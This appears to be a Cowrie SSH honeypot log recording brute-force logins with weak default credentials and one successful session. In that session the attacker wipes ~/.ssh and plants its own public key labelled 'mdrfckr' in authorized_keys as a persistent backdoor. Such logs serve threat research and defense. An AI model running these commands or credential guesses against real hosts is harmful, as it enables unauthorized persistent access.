{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":16378,"dst_ip":"10.17.0.5","dst_port":22,"session":"408e3b7e7c08","protocol":"ssh","message":"New connection: 107.150.103.210:16378 (10.17.0.5:22) [session: 408e3b7e7c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:33.477594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:33.482927Z","src_ip":"107.150.103.210","session":"408e3b7e7c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:33.554547Z","src_ip":"107.150.103.210","session":"408e3b7e7c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234!@#$","message":"login attempt [ubuntu/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:33.870503Z","src_ip":"107.150.103.210","session":"408e3b7e7c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:34.945927Z","src_ip":"107.150.103.210","session":"408e3b7e7c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":33246,"dst_ip":"10.17.0.5","dst_port":22,"session":"546cb26b631e","protocol":"ssh","message":"New connection: 50.6.248.168:33246 (10.17.0.5:22) [session: 546cb26b631e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:52.357299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:52.361964Z","src_ip":"50.6.248.168","session":"546cb26b631e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:52.379502Z","src_ip":"50.6.248.168","session":"546cb26b631e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abc123456","message":"login attempt [user/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:52.491705Z","src_ip":"50.6.248.168","session":"546cb26b631e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:17:53.514438Z","src_ip":"50.6.248.168","session":"546cb26b631e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.98.230.202","src_port":44382,"dst_ip":"159.203.135.109","dst_port":22,"session":"979195de4bee","protocol":"ssh","message":"New connection: 114.98.230.202:44382 (159.203.135.109:22) [session: 979195de4bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:15.442566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:15.447937Z","src_ip":"114.98.230.202","session":"979195de4bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:15.705231Z","src_ip":"114.98.230.202","session":"979195de4bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"password123","message":"login attempt [developer/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:18.886725Z","src_ip":"114.98.230.202","session":"979195de4bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:20.152235Z","src_ip":"114.98.230.202","session":"979195de4bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":58196,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9329c13c64b","protocol":"ssh","message":"New connection: 50.6.248.168:58196 (10.17.0.5:22) [session: a9329c13c64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:40.957582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:40.962138Z","src_ip":"50.6.248.168","session":"a9329c13c64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:40.972869Z","src_ip":"50.6.248.168","session":"a9329c13c64b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu123","message":"login attempt [Ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:41.049949Z","src_ip":"50.6.248.168","session":"a9329c13c64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:18:42.063171Z","src_ip":"50.6.248.168","session":"a9329c13c64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":53868,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5bc2982adcb","protocol":"ssh","message":"New connection: 50.6.248.168:53868 (10.17.0.5:22) [session: f5bc2982adcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:19:31.662458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:19:31.669960Z","src_ip":"50.6.248.168","session":"f5bc2982adcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:19:31.693077Z","src_ip":"50.6.248.168","session":"f5bc2982adcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"6666","message":"login attempt [ubuntu/6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:19:31.799984Z","src_ip":"50.6.248.168","session":"f5bc2982adcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:19:32.826670Z","src_ip":"50.6.248.168","session":"f5bc2982adcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":59292,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2f81d8e0984","protocol":"ssh","message":"New connection: 107.150.103.210:59292 (10.17.0.5:22) [session: e2f81d8e0984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:02.473654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:02.499915Z","src_ip":"107.150.103.210","session":"e2f81d8e0984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:02.576524Z","src_ip":"107.150.103.210","session":"e2f81d8e0984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vnc","password":"test123","message":"login attempt [vnc/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:02.887427Z","src_ip":"107.150.103.210","session":"e2f81d8e0984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:03.965493Z","src_ip":"107.150.103.210","session":"e2f81d8e0984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":45460,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc5a71212219","protocol":"ssh","message":"New connection: 50.6.248.168:45460 (10.17.0.5:22) [session: bc5a71212219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:21.799331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:21.806168Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:21.824558Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Passw0rd","message":"login attempt [oracle/Passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:21.940404Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.039902Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.043694Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.047628Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.070824Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.160927Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.165267Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.192667Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
